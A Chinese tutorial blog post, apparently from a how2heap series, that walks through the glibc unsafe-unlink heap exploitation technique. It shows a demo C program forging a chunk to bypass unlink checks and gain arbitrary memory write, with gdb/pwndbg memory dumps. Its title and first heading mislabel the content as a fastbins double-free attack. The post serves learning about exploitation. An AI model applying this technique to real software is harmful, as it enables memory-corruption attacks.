从零开始学howtoheap:fastbins的double-free攻击实操3

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即unsafe unlink。

2.unsafe unlink程序

   
   #include 
   #include 
   #include 
   #include 
   
   uint64_t *chunk0_ptr;
   
   int main()
   {
       fprintf(stderr, "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n");
       fprintf(stderr, "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n");
   
       int malloc_size = 0x80; //要足够大来避免进入 fastbin
       int header_size = 2;
   
       fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");
   
       chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
       uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
       fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
       fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);
   
       fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
       fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
       chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
       fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
       fprintf(stderr, "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
       chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
       fprintf(stderr, "Fake chunk 的 fd: %p\n",(void*) chunk0_ptr[2]);
       fprintf(stderr, "Fake chunk 的 bk: %p\n\n",(void*) chunk0_ptr[3]);
   
       fprintf(stderr, "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n");
       uint64_t *chunk1_hdr = chunk1_ptr - header_size;
       fprintf(stderr, "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n");
       chunk1_hdr[0] = malloc_size;
       fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
       fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
       chunk1_hdr[1] &= ~1;
   
       fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
       free(chunk1_ptr);
   
       fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
       char victim_string[8];
       strcpy(victim_string,"Hello!~");
       chunk0_ptr[3] = (uint64_t) victim_string;
   
       fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n");
       fprintf(stderr, "之前的值是: %s\n",victim_string);
       chunk0_ptr[0] = 0x4141414142424242LL;
       fprintf(stderr, "新的值是: %s\n",victim_string);
   }
   

 3.调试unsafe_unlink

3.1 获得可执行程序 

gcc -g unsafe_unlink.c -o unsafe_unlink

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gcc -g unsafe_unlink.c -o unsafe_unlink
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsafe_unlink
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsafe_unlink...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsafe_unlink 
当您在已知位置有指向某个区域的指针时,可以调用 unlink
最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入

全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060

现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块

现在释放掉 chunk1,会触发 unlink,合并两个 free chunk
此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: BBBBAAAA
[Inferior 1 (process 52) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 申请了两个堆之后

​ unlink有一个保护检查机制,在解链操作之前,针对堆块P自身的fd和bk 检查了链表的完整性,即判断堆块P的前一块fd的指针是否指向P,以及后一块bk的指针是否指向 P。

​ malloc_size设置为0x80,可以分配small chunk,然后定义header_size为2。申请两块空间,全局指针chunk0_ptr指向chunk0,局部指针chunk1_ptr 指向 chunk1。先在main函数上设置一个断点,然后单步走下一步,走到20行。

​ 我们来看一下,申请了两个堆之后的情况。

设置断点 在第21行, 指令 b 21

pwndbg> n
21             fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x6030a0 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x6030a0 ◂— 0x0
 RDI  0x0
 RSI  0x603120 ◂— 0x0
 R8   0x603000 ◂— 0x0
 R9   0xd
 R10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603120 ◂— 0x0
 R11  0x0
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x40074a (main+164) ◂— mov    rdx, qword ptr [rip + 0x20191f]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400739     mov    eax, dword ptr [rbp - 0x28]
   0x40073c     cdqe   
   0x40073e     mov    rdi, rax
   0x400741     call   malloc@plt <0x400580>
 
   0x400746     mov    qword ptr [rbp - 0x20], rax
 ► 0x40074a     mov    rdx, qword ptr [rip + 0x20191f] <0x602070>
   0x400751     mov    rax, qword ptr [rip + 0x201908] <0x602060>
   0x400758     mov    rcx, rdx
   0x40075b     mov    edx, chunk0_ptr <0x602070>
   0x400760     mov    esi, 0x400bc8
   0x400765     mov    rdi, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c
   16        fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");
   17    
   18        chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
   19        uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
   20        fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
 ► 21        fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);
   22    
   23        fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
   24        fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
   25        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
   26        fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
01:0008│      0x7fffffffe598 ◂— 0x200000080
02:0010│      0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x4005b0 (_start) ◂— xor    ebp, ebp
04:0020│      0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│      0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40074a main+164
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000091
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000091
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000020ee1
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> 

3.3.2 利用全局指针chunk0_ptr构造fake chunk来绕过它

接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False的检查,这个检查有个缺陷,就是fd/bk指针都是通过与chunk头部的相对地址来查找的,所以我们可以利用全局指针chunk0_ptr构造fake chunk来绕过它。

再单步走到40行。

pwndbg> b 40
Breakpoint 4 at 0x400947: file unsafe_unlink.c, line 40.
pwndbg> c
Continuing.
全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060

现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块


Breakpoint 4, main () at unsafe_unlink.c:41
41             fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603098 ◂— 0x90
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x90
 RDI  0x2
 RSI  0x400f00 ◂— out    0x8e, al
 R8   0x61
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x400947 (main+673) ◂— mov    rax, qword ptr [rip + 0x201712]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400947     mov    rax, qword ptr [rip + 0x201712] <0x602060>
   0x40094e     mov    rcx, rax
   0x400951     mov    edx, 0x44
   0x400956     mov    esi, 1
   0x40095b     mov    edi, 0x400f68
   0x400960     call   fwrite@plt <0x400590>
 
   0x400965     mov    rax, qword ptr [rbp - 0x20]
   0x400969     mov    rdi, rax
   0x40096c     call   free@plt <0x400540>
 
   0x400971     mov    rax, qword ptr [rip + 0x2016e8] <0x602060>
   0x400978     mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c
   36        fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
   37        fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
   38        chunk1_hdr[1] &= ~1;
   39    
   40        fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
 ► 41        free(chunk1_ptr);
   42    
   43        fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
   44        char victim_string[8];
   45        strcpy(victim_string,"Hello!~");
   46        chunk0_ptr[3] = (uint64_t) victim_string;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
01:0008│      0x7fffffffe598 ◂— 0x200000080
02:0010│      0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x603090 ◂— 0x80
04:0020│      0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│      0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400947 main+673
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsafe_unlink.c:40
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000091
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000602058      0x0000000000602060
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000080      0x0000000000000090
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000020ee1
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> 
pwndbg> x/4gx 0x0000000000602058
0x602058:       0x0000000000000000      0x00007ffff7dd2540
0x602068 :   0x0000000000000000      0x0000000000603010
pwndbg> x/4gx 0x0000000000602060
0x602060 : 0x00007ffff7dd2540      0x0000000000000000
0x602070 :  0x0000000000603010      0x0000000000000000
pwndbg> 

​ 我们的fake chunk的fd指向0x602058,然后0x602058的bk指向0x602070。fake chunk的bk指向0x602060,然后0x602060的fd指向 0x602070,可以保证前后都指向我们伪造的这个 chunk,完美!

​ 接下来释放掉chunk1,因为fake chunk和chunk1是相邻的一个free chunk,所以会将他两个合并,这就需要对fake chunk进行unlink,进行如下操作:

FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P

这样就通过了 unlink 的检查,最终效果为:

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24

也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址,在这个图示中最终实现的效果是ptr中存的是ptr-0x18,如果本来ptr 是存的一个指针的,现在它指向了ptr-0x18。如果编辑这里的内容就可以往ptr-0x18那里去写,实现了覆盖这个指针为任意值的效果。

从零开始学howtoheap:fastbins的double-free攻击实操3_第1张图片

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

你可能感兴趣的:(逆向,二进制,Re,网络安全,安全,系统安全,安全架构)